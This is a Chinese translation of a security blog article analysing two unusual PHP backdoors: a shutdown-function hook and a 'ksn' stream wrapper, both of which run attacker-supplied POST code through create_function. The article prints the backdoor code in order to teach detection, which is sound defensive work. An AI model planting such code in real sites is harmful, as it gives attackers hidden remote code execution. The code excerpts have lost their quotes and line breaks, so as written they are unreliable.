標籤:

通過非常規手段添加PHP後門

原文

作者:DENIS SINEGUBKO

根據我們最新的報告,百分之七十二的被入侵網站都含有後門。後門是攻擊者為了保持控制權而在站點留下的特殊文件。必要的時候,攻擊者會利用它再次感染該站點。

我們偶然發現了一些不需要使用PHP常見函數(比如:eval,create_function,preg_replace,assert,base64_decode)即可實現的後門。

這些罕見後門看上去就像普通代碼一樣,它們不需要常見的混淆方法(比如:加密字元串,大小寫混淆,字元串拼接)就可以讓攻擊者任意代碼執行。

在Shutdown函數中的後門

讓我們從簡單的看起。在 @package.win.error.Libraries ,並且有這樣一個函數:

function win() { register_shutdown_function($_POST[d](, $_POST[f]($_POST[c]))); }n

此處的 $_POST 參數看上去十分可疑,那麼這個代碼到底是不是後門呢?

register_shutdown_function 註冊了一個在此腳本運行完畢後的操作。這意味著無論這個代碼出現在哪一行,它只在執行完時才被調用。

這樣的話,腳本執行完後調用的函數便是:

$_POST[d](, $_POST[f]($_POST[c]))n

這行代碼看上去如同加密一般。如果你不清楚黑客能用它幹什麼,讓我們來想想黑客代入如下參數執行後會怎麼樣:

d=create_functionnf=base64_decodenc=some_base64_encoded_malicious_PHP_coden

於是,便會這樣:

create_function(, base64_decode(some_base64_encoded_malicious_PHP_code))n

現在便是一個正常的後門了。這個代碼不需要被直接調用,因為shutdown函數會自動執行它。

在Stream Wrapper中的後門

之前的只是熱身罷了,現在我們來看看更複雜的。

這次我們用 @package Stream.ksn.Libraries。我們不難推導出這裡有個Stream類並和一個創建ksn協議流包裝器的函數。

class Stream { n function stream_open($path, $mode, $options, &$opened_path)n { $url = parse_url($path);n $f = $_POST[d](, $url["host"]); n $f(); n return true;n } n}nstream_wrapper_register("ksn", "Stream");n// Register connect the library Streamn$fp = fopen(ksn://.$_POST[f]($_POST[c]), );n

我們來用幾個小節分析這個代碼

代碼貌似人畜無害

對於一些開發者來講,這個代碼看上去像是那些第三方寫的內容管理插件代碼。

我們還不清楚它的具體作用,但是有些站長可能會默認它是合法代碼。他們可能會通過其中的一小段來推測:是不是和ksn流相關呢?ksn又是什麼呢?不管了,應該有用吧。

等等!我們在代碼中看到了POST。因為攻擊者總是可以操控它,因此對POST保持警惕。然而,我們不清楚POST具體的作用。

探索與發現

你玩過那些文字解密的遊戲嗎?這和我們做的十分相似。

我們先從 stream_open 分析:

$f = $_POST[d](, $url["host"]);n

當POST參數被用做函數名時,這引起了我們的關注。看上去 $_POST[d] 作用像之前的create_function。如果這樣的話,$url[host]應該是可執行代碼,但是一個經過 parse_url處理的函數應該包含不了代碼吧?不過。。。

模糊化域名格式

讓我們看看傳進 stream_open$path —— 它包括了一個被 parse_url 解析過後的 URL,我們首先分析一下下列代碼:

stream_wrapper_register("ksn", Stream);n

這個函數將關聯 ksn協議和Stream類。Stream類繼承了streamWrapper的屬性,也就是說wrapper 初始化完成時,stream_open會被直接調用。(比方說 fopen 該協議時)

stream_open應該是像如下一樣被聲明。其中,$path是被傳遞到fopen的URL

public bool streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path )n

我們可以用fopen來打開ksn://協議的url

$fp = fopen(ksn://.$_POST[f]($_POST[c]), );n

所以我們的path就是:

『ksn://』.$_POST[『f』]($_POST[『c』]),』n

這會構造一個可以讓主機執行惡意代碼的URL

那麼我們應該如何構建一個可以被當做合法PHP代碼執行的域名或者ip地址?

根據 RFC3986,我們並不需要構建合法的域名,因為parse_url不會檢查URL的合法性,它只負責解析。任何從 :// 開始,以 / 或 : 結尾的那一部分字元串(如果沒有的話,則是餘下的全部字元)都被視作主機名部分。

比方說,如果你把 ksn://eval(base64_decode($_POST[「code」])); 傳遞給 parse_url,主機部分便是 eval(base64_decode($_POST[「code」]));

就像之前那,我們此處可以理解:

f=base64_decodenc=some_base64_encoded_malicious_PHP_coden

然後就會執行這樣的fopen

$fp = fopen(ksn://base64_decode(base64_encoded_malicious_PHP_code), );n

回過頭來看 stream_open,我們可以知道被傳入的URL

$f = $_POST[d](, $url["host"]);n

其實是:

$f = create_function(, base64_decode(base64_encoded_malicious_PHP_code));n

到了最後,$f 會被調用:

$f();n

簡單來說,這個後門就是打開 ksn:// 協議的 fopen 引起的,然而我們僅粗略地讀不會發現什麼異常


推薦閱讀:

關於PHPDocument 代碼注釋規範的總結
為什麼linux的內核用c不用c++呢?
培神都開始學PHP了,你還在等什麼。
我應該選擇前端,還是繼續搞PHP?
從0開始學PHPExcel(1)之初探

TAG:信息安全 | PHP |